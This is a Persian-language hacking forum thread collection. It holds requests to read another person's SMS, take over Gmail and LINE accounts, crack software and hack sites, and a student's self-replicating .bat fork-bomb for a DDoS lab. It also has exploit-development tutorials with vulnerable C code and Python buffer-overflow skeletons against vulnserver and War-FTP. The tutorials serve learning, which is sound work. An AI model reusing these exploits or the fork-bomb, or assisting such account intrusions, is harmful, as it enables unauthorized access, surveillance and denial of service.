ايران ويج - هك

سوال درمورد جلوگیری از نفوذ از طریق آی پی

Sat, 13 Jun 2020 21:37:28 +0000

سلام مودمم از طریق آی پیم هک شده و تونستند وارد گوشی تلفنم بشن سوالم اینه که آیا میتونن دسترسی کامل به گوشیم(دوربین و...)بگیرن با توجه به اینکه من هیچ فایلی دریافت نکردم و لینکی رو باز نکردم و اینکه طرف اصلا مبتدی نیست و کاربلده و مهم‌ترین سوالم اینه که چطور جلوی اینکارو بگیرم
۱.قبل اینکه نفوذ و هک کنن از طریق آی پی چیکار کنم؟؟
۲.الان که نفوذ کردن از طریق آی پی باید چیکار کنم؟؟
دوستان ممنون میشم راهنمایی کنید

net-snmp 5.8 - (Authenticated) Heap overflow (DOS PoC)

Sat, 03 Aug 2019 21:18:28 +0000

سلام،
من یک آسیب پذیری پیدا کردم اما چون وقت نمیکردم بیشتر روش کار کنم. آن را پابلیک کردم

کد: 
https://github.com/AlirezaChegini/NET-SNMP-Heap-overflow

درخواست پلن کشف باگ و اکسپلویت

Sat, 23 Mar 2019 10:53:44 +0000

سلام . عیدتون مبارک.
دو تا از دوستان بنده علاقمند به اکسپلویت و کشف باگ در سیستمهای ویندوزی هستند از بنده درخواست دوره یا نقشه راه کرده بودند بنده چون خودم در این حوزه کار نکردم گفتم بپرسم و بگم. الان اینجا از دوستان اگر کسی در این حوزه کار کردند یا آشنایی دارند ممنون میشم راهنمایی کنند.
در کل صحبتی که باهاشون داشتم از این قرار بود که :
در کل هدف نهاییشون کار روی اکسپلویت و باگ در محیط ویندوزی هست.
آشنایی متوسطی با سی پلاس دارند
آشنایی کمی با اسمبلی دارند.
آشنایی کمی با ویندوز اینترنال دارند.
آشنایی اولیه با مهندسی معکوس
زبان انگلیسوشونم متوسطه.(ریدشون خوبه )

فقط این مطالبی که بالا گفتند شاید در حد دیدن فیلم یا دوره ای یا خوندن کتابی باشه اطلاع دقیق ازجزییات و تکنیکهاشون ندارم و فک کنم پلنی مناسب باشه که مقدماتی تا متوسط باشه.
سپاس

هک گوشی اندروید "سامسونگ"

Tue, 08 Aug 2017 06:27:01 +0000

لطفا لطفا کمکم کنید.شاید یه دوروغ رسوا بشه و یه آدم به زندگیش برگرده.
سلام به همه..
دوستان کمکم کنید می خوام یه گوشی سامسونگ رو هک کنم تا بتونم پیاماش رو بخونم.
پیام هایی که با سیم کارت رد و بدل میشه نه با برنامه هایی مثله تلگرام و ....
خواهش میکنم کسی اگه میتونه راهنمایی کنه کمکم کنه چون خوندن پیاماش
میتونه یه زندگی رو نجات بده...لطفااااااااااا
ممنونم..

تحلیل آسیب پذیری content injection vulnerability in wordpress

Tue, 01 Aug 2017 17:44:39 +0000

سلام،
این لینک به وبلاگه خودمه و ترجمه هست البته یکم قدیمی شد...
لینک به مطلب

کلمات کلیدی:
آسیب پذیری وردپرس تزریق محتویات وبلاگ

آسیب پذیری SQLi در پلاگین مطرح وردپرس WP Statistics

Sat, 01 Jul 2017 16:56:18 +0000

هدف از ایجاد تاپیک اطلاع رسانی در رابطه با آسیب پذیر بودن این پلاگین بود. اما میتونید تحلیل فنی این آسیب پذیری در لینک زیر بخونید:

کد: 
https://blog.sucuri.net/2017/06/sql-injection-vulnerability-wp-statistics.html

درخواست هک و کرک برنامه

Sat, 23 Apr 2016 13:50:50 +0000

سلام و درود
دوستان عزیز دوتا برنامه داشتم
خواستم بدونم میشه آنپک یا کرک کرد این هارو :

http://s7.picofile.com/file/8248411118/File.zip.html

و یک برنامه هست که اگه آنپک بشه، خیلی ممنون میشم

http://androidhost.org/iOW2Z

البته اگه مقدور هست

تشکر

کمک در بدست اوردن پسورد جیمیل

Wed, 09 Mar 2016 23:09:06 +0000

سلام به همگی
من یه جیمیل داشتم که مال یه شخصی بود و ازش برای پرایمری کردن بازی های پلی استیشن 4استفاده میکردم...
بعد الان این پسورد عوض شده و نمیتونم وارد اون اکانت و سرویس بشم...

الان هم ایمیل رو دارم و هم پسورد قبلی رو...
کسی از دوستان هست که بتونه پسورد جدید رو بدون اینکه تغییری بده و ... برام در بیاره؟
هر کی بتونه هزینه اش رو میدم...

نفوذ به ويندوز سرور

Tue, 01 Dec 2015 14:05:53 +0000

سلام به همه
دوستان ميخواستم روش دور زدن دسترسي هاي تعريف شده داخل ويندوز 2012 R2 رو بدونم.
براي مثال امكان باز كردن Task Manager و حدف يك پروسس داخل CMD وجود ندارد.
يا مثلا امكان اينكه از داخل RemoteDesktop امكان Copy , Paste وجود ندارد.
يكي از دوستان برنامه اي نوشته بود كه در حساب كاربري Limit ميتونست كار بر ادمين بسازه و گفته بود كه از سرويس ها استفاده كرده.

مشكل ها :

امكان Copy و Paste وجود ندارد.
امكان بستن يك Process وجود ندارد.
امكان تغيير در رجيستري وجود ندارد.

من فقط ميخوام امكان Copy , Paste داشته باشم.
نرم افزار Vs 2013 هم بر روي سرور نصب هست.

از دوستان ميخوام كه مرا راهنمايي كنند.

متغیرهای مقداردهی نشده، خوب یا بد؟

Fri, 03 Jul 2015 22:38:10 +0000

سلامی دوباره، بعد از مدتها استراحت و بی حوصلگی در راستای تجزیه نشدن و همچنین جزیی از طبیعت قرار نگرفتن یه پستی میزارم تا این پست رو همانند پکت های Keep-Alive در نظر بگیرید.

خوب، قرار نیست نحوه اکسپلویت کردن و تکنیک هارو توضیح بدیم فقط میخواهیم کمی درباره خطرات مقداردهی نکردن متغیرها در برنامه و نحوه بوجود آمدن باگ صحبت کنیم، واس خیلی ها از جمله خودم پیش اومده که در زبان C/C++ متغیری مانند Integer رو مقداردهی اولیه انجام ندادیم ، یادمون رفته و یا برحسب عادت در زبان های برنامه نویسی دیگر مثل VB6.0 اینکار رو انجام ندادیم. بنظرم تنها دلیلی که بعضی ها هنوزم که هنوزه طرفدار VB6.0 هستند! همین مقداردهی اولیه نکردن متغیرهاست، اگر شما حتی نوع متغیر رو تعریف نکنین بطور خودکار متغیر از نوع Variant در نظر گرفته میشه و هر DATA Type بخواهید میتونید درون متغیر بریزید!!! اینها انسانهای خاص هستند و خاص هم که فحش نیست !؟

خوب از بحث اصلیمون دور نشیم،اگر استاد همون درس برنامه نویسی و یا افراد دیگری که ازشون این سوال “متغییر مقدار دهی نشده ولی دارای مقدار هست و خروجی به ما نشون میده” رو پرسیدین بهمون گفتن که وقتی یک نوع Integer رو مقدار دهی نمیکنیم ، مقداری Random درون متغیر ریخته میشه؟!؟ و اینم جز خیلی از حرفاس که وارد مغزمون کردن تا بیشتر ندونیم و نپرسیم. (انگاری دلم خیلی پره :دایی) بایک مثال خیلی ساده و راحت میخواهیم به صحت و سقم این دلیل پی ببریم. خوب سورس زیر رو کامپایل و اجرا میکنیم:

کد: 
int main(void)

{

    int uninit_var ;

    printf("\n your uninitialized variable is :\t %x\n",uninit_var); 

    return 0;

}

بعد از اجرا مقدار این متغیر رو داریم میبینیم که بایستی این یک مقدار تصادفی باشه و در هر بار اجرا مقداری مختلف ببینید، من درون سیستم خودم فقط این مقدار رو میبینیم و نتیجه میگیرم که مقدار Random نیست:

حال برنامه را درون یار همیشه همراهمون باز میکنیم تا دلیل این امر رو کشف کنیم.

همانطور که ملاحظه میکنین ابتدا مقدار ECX درون پشته Push میشه و بنابراین عنصر بالای پشته خواهد بود و مقدار ESP یا همون Stack Pointer هم به عنصر بالای پشته اشاره میکنه. حال مقدار بالای پشته وارد رجیستر EAX میشه یعنی درواقع همون مقدار رجیستر ECX . نتیجه اینکه مقدار بالای پشته یا همون مقدار رجیستر ECX ، مقدار تصادفی در درون uninit_var (متغیر مقدار دهی نشده مان) می باشد.

وقتی که تعداد خط کدها زیادمیشن برنامه نویس ها فراموش می کنند که کدام متغییر مقداردهی نشده است و دلایل دیگر.شاید در لفظ و در نظر برنامه نویس مقدار دهی نکردن متغیر مشکل خاصی پیش نیاره و به هیچ وجه فکرشون به اکسپلویت شدن برنامه شون برسه! میتونن به CVE-2015-0240 باگ Samba که متغییر cred یک اشاره گرمقدار دهی نشده در تابع _netr_ServerPasswordSet() است، مراجعه کنند و مطالعه ای داشته باشند که نمونه ها زیاد است. نکته قابل ذکر در اکسپلویتینگ که جا داره در اینجا تکرار کنم : هر اکسپلویت از یک باگ سو استفاده میکنه ولی هر باگ قابل اکسپلویت نیست.
چون هدف فقط آشنایی با این باگ هست از یک مثال قدیمی و خوب استفاده میکنیم تا بتونیم بهتر این موضوع رو درک کنیم ( اصل کار مفهوم و نحوه رخ دادن باگ درون برنامه هاست و لینوکس و ویندوزی فرق نداره ).

کد: 
//www.aha.4xmen.ir

#include 

#include 

#include 

#define MAX_USER 1024

#define MAX_PASS MAX_USER

#define ERR_CRITIC 0x01

#define ERR_AUTH   0x02

int do_auth(void)

{

    char username[MAX_USER], password[MAX_PASS];

    fprintf(stdout, "Please enter your username: ");

    fgets(username, MAX_USER, stdin);

    fflush(stdin);

    fprintf(stdout, "Please enter your password: ");

    fgets(password, MAX_PASS, stdin);

    printf("username at: 0x%x\n", &username);

    printf("password at 0x%x\n", &password);

#ifdef DEBUG

    fprintf(stderr, "Username is at: 0x%08x (%d)\n", &username, strlen(username));

    fprintf(stderr, "Password is at: 0x%08x (%d)\n", &password, strlen(password));

#endif

    if(!strcmp(username, "user") && !strcmp(password, "washere"))

    {

        return 0;

    }

    return -1;

}

int log_error(int farray, char *msg)

{

    char *err, *mesg;

    char buffer[24];

#ifdef DEBUG

    fprintf(stderr, "Mesg is at: 0x%08x\n", &mesg);

    fprintf(stderr, "Mesg is pointing at: 0x%08x\n", mesg);

#endif

    printf("mesg: 0x%x\n", mesg);

    memset(buffer, 0x00, sizeof(buffer));

    sprintf(buffer, "Error: %s", mesg);

    fprintf(stdout, "%s\n", buffer);

    return 0;

}

int main(void)                   

{

    switch(do_auth())

    {

    case -1:

        log_error(ERR_CRITIC | ERR_AUTH, "Unable to login");

        break;

    default:

        break;

    }

    return 0;

}

برنامه مورد نظرمون رو اجرا میکنیم :

آدرس متغیر ها را در حافظه نشان داده می شوند، تا به اینجا مشکل خاصی نیس. ورودی های برنامه User و Password است که آنها هم بدرستی دریافت می شوند. به تابع زیر از سورس کد برنامه توجه کنید:

کد: 
int log_error(int farray, char *msg)

{

    char *err, *mesg;

    char buffer[24];

#ifdef DEBUG

    fprintf(stderr, "Mesg is at: 0x%08x\n", &mesg);

    fprintf(stderr, "Mesg is pointing at: 0x%08x\n", mesg);

#endif

    printf("mesg: 0x%x\n", mesg);

    memset(buffer, 0x00, sizeof(buffer));

    sprintf(buffer, "Error: %s", mesg);

    fprintf(stdout, "%s\n", buffer);

    return 0;

}

متغیر mesg از نوع لوکال و مقدار دهی نشده، ولی توسط تابع sprintf مورد استفاده قرار گرفته است. خوب این متغیر چه ربطی به ما دارد؟ فرض کنیم که این متغیر مقدار دهی نشده است، چگونه می تواند باعث ایجاد باگ شود؟
طول رشته ورودی برای User و Password حداکثر 1024 کاراکتر است. حال حداکثر کاراکتر را بعنوان ورودی به برنامه میدهیم و عکس العمل برنامه را نسبت به ورودی ها مشاهده می کنیم:

مقدار mesg با کاراکترهای ورودی ما بازنویسی شده است (همان مقدارهای تصادفی) ! ! !

دوباره برنامه را درون یار همیشه همراه اجرا می کنیم و ورودی ها را حداکثر کاراکتر خواهیم داد. اینجا نحوه ساختار پشته در هنگام Call شدن یک function رو توضیح نمیدم، اگر دوستان نیاز دیدن میتونن از لینک زیر کتاب سرریز بافر رو دانلود و مطالعه کنید:

کد: 
https://www.exploit-db.com/docs/30179.zip

قبل از اینکه وارد تابع log_error بشویم مقادیر پشته رو نگاهی میاندازیم، میبینیم که متغیرهای User و Pass مقدار دهی شده اند و درون پشته ذخیره گردیده اند (Local Variable).

پشته رو به بالا رشد پیدا میکنه، حال وارد Call میشویم تا ادامه روند اجرا را بررسی نماییم:

مقدار ESP منهای 20 می شود! یعنی درون پشته Overlap رخ خواهد داد.

کد: 
00401130  /$ 83E>SUB ESP,20

در ادامه نیز مقدار رجیستر ESI نیز تغییر می کند و آدرس mesg درون آن قرار می گیرد:

کد: 
0040113F  |. 8B7>MOV ESI,DWORD PTR SS:[ESP+4]

خوب میبینیم که استک Overlap شده است و به دلیل اینکه متغیر mesg مقدار دهی نشده است همان مقداری که از قبل (پشته تابع قبلی) درون استک قرار دارد را مدنظر قرار می گیرد و ما می توانیم براحتی مقدار این متغیر را تحت کنترل داشته باشیم. حال روند اجرا را ادامه می دهیم. در تصویر زیر میبینیم که 24 بایت در پشته با مقدار 0x00 پر میشود و این همان متغیر char buffer[24];است. خوب حال توسط دستور sprintf مقادیر آدرس ESI در آدرس EAX کپی می شود. پس دلیل رخ دادن خطا در برنامه را فهمیدیم که آدرس نا معتبر است.

سوال: اگر مقدار ESI یک آدرس معتبر باشد چه اتفاقی می افتد؟
جواب: مقادیر آن آدرس درون متغیر Buffer کپی می شوند.
سوال: آیا طول مقادیر چک می شود؟
جواب: خیر، طول مقادیر چک نمی شود و شرط پایان کپی نمودن مقادیر در درون Buffer وجود کاراکتر Null است.

از این سوال و جواب به این نتیجه میرسیم که براحتی می توانیم با کپی نمودن داده بیشتر از 24 کاراکتر در درون متغیر Buffer آدرس بازگشت (Return Address) را بازنویسی نمایم.بدین صورت که من بجای مقدار 0xDDDD آدرس بخشی از پشته که مقدار متغیر User است را میدهم و نتیجه را میبینیم :

آدرس ESI رو مقدار 0x0012FA00قرار دادم و چون طول کاراکتر ها بیش از 24 بود آدرس بازگشت بازنویسی شده و مقدار EIP هم 0x41414141 شده است. کمی آدرس های پشته درون تصاویر رو مقایسه کنین میبینین که چه اتفاقی رخ داده است.

موفق باشید.

DDOS

Wed, 15 Apr 2015 05:42:14 +0000

با سلام خدمت دوستای عزیز
من مهندسی فناوری اطلاعات، گرایش امنیت اطلاعات دارم میخونم و موضوع پروژم شبیه سازی Botnet هستش.
متاسفانه خیلی درگیر مشکلات بودم و نتونستم این پروژه رو تموم کنم.
تا شنبه یعنی سه روز دیگه بیشتر وقت ندارم.
استاد راهنما ازم خواسته که یه ویروس بنویسم که در زمان خاصی فعال بشه روی چند تا سیستم تا اتک DDOS بصورت شبیه سازی شده در محیط VMware با چهارتا ویندوز XP انجام بشه و بسته ها و ترافی ارسالی بر روی ویندوز LOCAL با برنامه ی Wireshake مشاهده بشه.

من یه چندتا ویروس رو ساختم. اولیش بسته های PING هستش که با حجم 55000 ارسال میشه به سیستم مورد هدف با IP مشخص
یکیشم دیروز پیدا کردم

@echo off
:A
SET /A x=%RANDOM%%%1999999999%
type damage.bat >> %x%.bat
start %x%.bat
goto:A

چندتا ویروس دیگه لازم دارم و اگه امکانش باشه، نحوه کار و طرز عملکردشون رو هم نیاز دارم.

عملکرد ویروس بالایی، فکر میکنم یه لوپ هستش که فایل رو روی سیستم مقابل بصورت تصاعدی میسازه با فرمت .bat

مشکل دیگه من نحوه اجرای فایل ها در زمان خاص بصورت یکجا روی ویندوز های مختلف هستش

واقعا ممنون میشم اگه کسی بتونه کمکم کنه

با تشکر فراوان و ببخشید که وقتتون رو گرفتم
شاد، موفق و پیروز باشید/

هک ای دی لاین

Sun, 21 Sep 2014 16:10:05 +0000

سلام- میشه کمک کنید؟

چطور میشه ای دی لاین رو هک کرد؟

آیا با fake page میشه؟

نرم افزار خاصی وجود داره؟

هک

Mon, 04 Aug 2014 08:45:30 +0000

سلام
خواهش می کنم کمکم کنید می خوام یه نرم افزار بیدا کنم که بدون برنامه نویسی یه وب سایت رو هک کنه

باگ xss

Sun, 29 Jun 2014 08:54:54 +0000

سلام دوستان عزیز
من یه سایتی رو انالیز کردم که 19 ال باگ xss داره حالا برای هک اون سایت چه کاری باید انجام بدم میتونید اموزش برام بفرستید عکسشو گذاشتم
image
موفق باشید

نقش کاراکترهای مخرب در پردازش اکسپلویت و نحوه یافت آنها

Wed, 25 Jun 2014 11:25:10 +0000

اگر کمی با اکسپلویت نویسی و نحوه اکسپلویت کردن برنامه آشنایی داشته باشید بدون شک با مفهوم Bad Char آشنا هستید. Bad Char در اکسپلویت کاراکترهایی را می گویند که از وارد شدن کامل اکسپلویت به درون حافظه جلوگیری می کنند. بعنوان مثال در ورودی برنامه های C/C++ اگر دربین رشته ورودی 0×00 وجود داشته باشد به عنوان انتهای ورودی محسوب می شود و بعد از کاراکتر 0×00 نادیده گرفته می شود، بنابراین Bad Char ها یکی از ضروریات است که بایستی متناسب با هدف، آنها را بدانیم.

سوال : چگونه متناسب با هدف Bad Char ها را بدست آوریم؟؟

جواب : بایستی تمامی کاراکتر های که ممکن است بعنوان Bad Char محسوب گردند را لیست نموده تا بتوانیم توسط سعی و خطا تک،تک آنهارا بدست آوریم. این لیست در واقع از 0×00 تا 0xFF می باشد.

لیست ایجاد شده را بایستی در اکسپلویت مان بعد از Return Address قرار می دهیم بدین دلیل که Bad Char از بازنویسی Return Address جلوگیری نکند تا بتوانیم درون حافظه چک کنیم که لیست مان تا چه مکانی کپی شده اند و Bad Char چه بوده که باعث جلوگیری از کپی کامل اکسپلویت درون حافظه شده است.

در این مقاله برروی vulnserver که توسط Stephen Bradshaw نوشته شده و یک برنامه آسیب پذیر جهت تست و مثال آموزشی مورد استفاده قرار می گیرد، تست خود را انجام می دهیم.

بعد از اضافه نمودن لیست Bad Char به کدهایمان و ارسال آن به پورت vulnserver اولین راهکار این خواهد بود که بصورت دستی حافظه را چک کنیم تا کاراکتر را بدست آوریم ولی اینکار کمی زمانبر و کسل کننده است. راهکار بعدی استفاده از mona خواهد بود که بهتر از حالت قبل است، پس روند کارمان با استفاده از ابزار mona خواهد بود.

ابتدا توسط mona لیست کاراکترها را ایجاد می کنیم:

کد: 
!mona bytearray

با اجرا این کامند دو فایل در working folder ایجاد می شود:

فایل متنی (txt) شامل کدهای، لیست ایجاد شده است که در سورس مان اضافه نماییم.
فایل باینری (bin) این فایل در ادامه جهت چک نمودن حافظه مورد استفاده قرار می گیرد.

حال با استفاده از فایل متنی ایجاد شده سورس برنامه خود را تغییر می دهیم و بدین صورت خواهد شد:

کد: 
#!/usr/bin/env python

#

# @author : AHA at 4xmen.ir

#        HamiD.Rezaei

#

import socket,sys,struct

host = '127.0.0.1'

port = 9999

vuln_cmd ='TRUN .'

vuln_buff_size= 2006

NOP = "\x90"

def main():

    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

    try:

        s.connect((host,port))

    except:

        print "[-] Connection to "+host+" failed!"

        sys.exit(0)

    print "[*] Connected ..."    

    print "[+] Create exploit with bad char ..."

    bad_char=("\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d"

            ... Snip ...

"\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

    buff=vuln_cmd

    buff+= 'A'* vuln_buff_size

    buff+= 'BBBB'

    buff+= bad_char

    print "[*] Sending Exploit ..."

    s.send(buff)

if __name__ == '__main__':

    main()

بعد از ارسال کدها به سرور با استفاده از کامند زیر عمل مقایسه را انجام می دهیم که خروجی مانند تصویر خواهد بود:

کد: 
!mona compare -f C:\logs\vulnserver\bytearray.bin -a 00C5FA0C

در خروجی بخش Bad Char خالی خواهد بود ولی به status نیز دقت کنید، حال بایستی حافظه را خودمان چک کنیم و می فهمیم که اولین Bad Char نیز 0×00 خواهد بود و به دلیل وضیعت حافظه نتوانسته تشخیص بدهد:

اولین Bad Char را بصورت دستی پیدا نمودیم حال بایستی لیست جدیدی ایجاد نماییم که این کاراکتر در آن نباشد و دوباره تست را انجام دهیم. با استفاده از کامند زیر می توانیم لیستی بدون کاراکترهای مشخص شده ایجاد نماییم:

کد: 
!mona bytearray -cpb “\x00″

مراحل قبل را با لیست جدید ادامه می دهیم، می بینیم که خروجی کاراکتری را مشخص ننموده است و همچنین لیست کاراکترها بطورکامل درون حافظه وارد شده اند، بنابراین تنها Bad Char برای این تارگت 0×00 خواهد بود.

بعنوان مثال دیگر war ftp را مورد بررسی قرار می دهیم. سورس برنامه مان بدین صورت خواهد بود:

کد: 
#!/usr/bin/env python

#

# @author : AHA at 4xmen.ir

#        HamiD.Rezaei

#

import socket,sys,struct

host = '192.168.93.131'

port = 21

vuln_cmd ='USER '

vuln_buff_size= 485

end_cmd='\r\n'

NOP = "\x90"

def main():

    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

    try:

        s.connect((host,port))

    except:

        print "[-] Connection to "+host+" failed!"

        sys.exit(0)

    s.recv(1024)

    print "[*] Connected ..."    

    print "[+] Create exploit with bad char ..."

    bad_char=("\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d"

            ... Snip ...

"\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

    buff=vuln_cmd

    buff+= 'A'* vuln_buff_size

    buff+= 'BBBB'

    buff+= bad_char

    buff+= end_cmd

    print "[*] Sending exploit ..."

    s.send(buff)

if __name__ == '__main__':

    main()

حال برنامه را اجرا نموده و با استفاده از دستور زیر حافظه را با فایل باینری مقایسه می کنیم:

کد: 
!mona compare -f C:\logs\war-ftpd\bytearray.bin -a 00B2FD44

خروجی مانند تصویر زیر خواهد بود که اولین کاراکتر 0×00 که پیدا نموده است:

لیست جدید بدون 0×00 ایجاد نموده و دوباره تست را انجام میدهیم. در این مرحله کاراکتر بعدی که شناسایی می شود 0x0A می باشد.

!Mona در مسیری که فایل باینری را ایجاد می کند، بعد از انجام عمل مقایسه نتایج کاملتر را در فایلی به نام compare.txt جهت اطلاعات بیشتر ذخیره می کند. در بخشی از این فایل ساختار مانند زیر مشاهده می شود در واقع !Mona فایل باینری و مکان حافظه که قرار است باهم مقایسه شوند را بصورت یک جدول درنظر می گیرد. در این جدول دوسطر File و Memory وجود دارد. هر بایتی که در مقایسه بین آن دو یکسان باشد در سطر Memory خالی خواهد بود، بدین صورت می توان اولین بایتی که در دوسطر یکسان نمی باشد را بعنوان Bad Char درنظر گرفت. در انتهای جدول تمامی مقایسه ها و مکان های از حافظه که یکسان بوده اند یا نبوده اند را بصورت خلاصه ذکر نموده است:

کد: 
. . . Snip . . .

[+] Comparing with memory at location : 0x00b2fd44 (Stack)

Only 11 original bytes of 'normal' code found.

    ,-----------------------------------------------.

    | Comparison results:                           |

    |-----------------------------------------------|

  0 |01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10| File

    |                           20 20 63 6e 74 72 20| Memory

 10 |11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20| File

    |49 6c 6c 65 67 61 6c 20 75 73 65 72 69 64 2e   | Memory

 20 |21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30| File

    |4c 6f 67 69 6e 20 72 65 66 75 73 65 64    0d 0a| Memory

 30 |31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 40| File

            . . . Snip . . .

 e0 |e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0| File

    |88 0d 18 00 00 00 00 00 a4 50 3b 00 00 00 00 00| Memory

 f0 |f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff   | File

    |14 00 00 00 01 00 00 00 00 00 00 00 00 00 00   | Memory

    `-----------------------------------------------'

              | File      | Memory    | Note       

---------------------------------------------------

0  0  9   9   | 01 ... 09 | 01 ... 09 | unmodified!

---------------------------------------------------

9  9  22  22  | 0a ... 1f | 20 ... 2e | corrupted  

31 31 1   1   | 20        | 20        | unmodified!

32 32 13  13  | 21 ... 2d | 4c ... 64 | corrupted  

45 45 1   1   | 2e        | 2e        | unmodified!

46 46 209 209 | 2f ... ff | 0d ... 00 | corrupted  

Possibly bad chars: 0a

Bytes omitted from input: 00

. . . Snip . . .

در مرحله بعد 0x0D شناسایی می شود و با تکرار دوباره این مراحل به صورت زیر خروجی بدست می آید، در واقع Bad Char در این تارگت چهار کاراکتر است.

حال این چهار کاراکتر را از لیست حذف می کنیم:

کد: 
!mona bytearray -cpb “\x00\x0a\x0d\x40″

بعد از اینکه این چهار کاراکتر را از لیست حذف نمودیم دیگر مشکلی نیست و لیست کاراکتر ها بدرستی درون حافظه وارد می شود.

حال اگر نیاز باشد تا بصورت مجموعه ای از کاراکتر را حذف کنید بدین صورت عمل می کنیم:

کد: 
!mona bytearray -cpb “\x30..\x39″

استفاده از کامند بالا باعث حذف کاراکتر های عددی از لیست خواهد شد. کامند زیر کمی این قواعد را پیچیده تر استفاده نموده است:

کد: 
!mona bytearray -cpb “\x00..\x40\x5B..\x60\x7B..\xFF”

کامند بالا لیستی را ایجاد می کند که حروف انگلیسی بزرگ و کوچک را شامل می شود.

حفره امنیتی خطرناک در اینترنت اکسپلورر 10 شاید 11 !!

Sun, 18 May 2014 18:09:31 +0000

سلام حیفم اومد این باگ رو توی سایت نذارم بازم شاهکار مایکروسافت IE

با انالیز و تغییر کمی که انجام دادم رو 11 و اپدیت شده هم کار میکنه به شرطی ...!!!

ie.jpg (اندازه: 9.42 KB / تعداد دفعات دریافت: 85)
انالیز :

کد: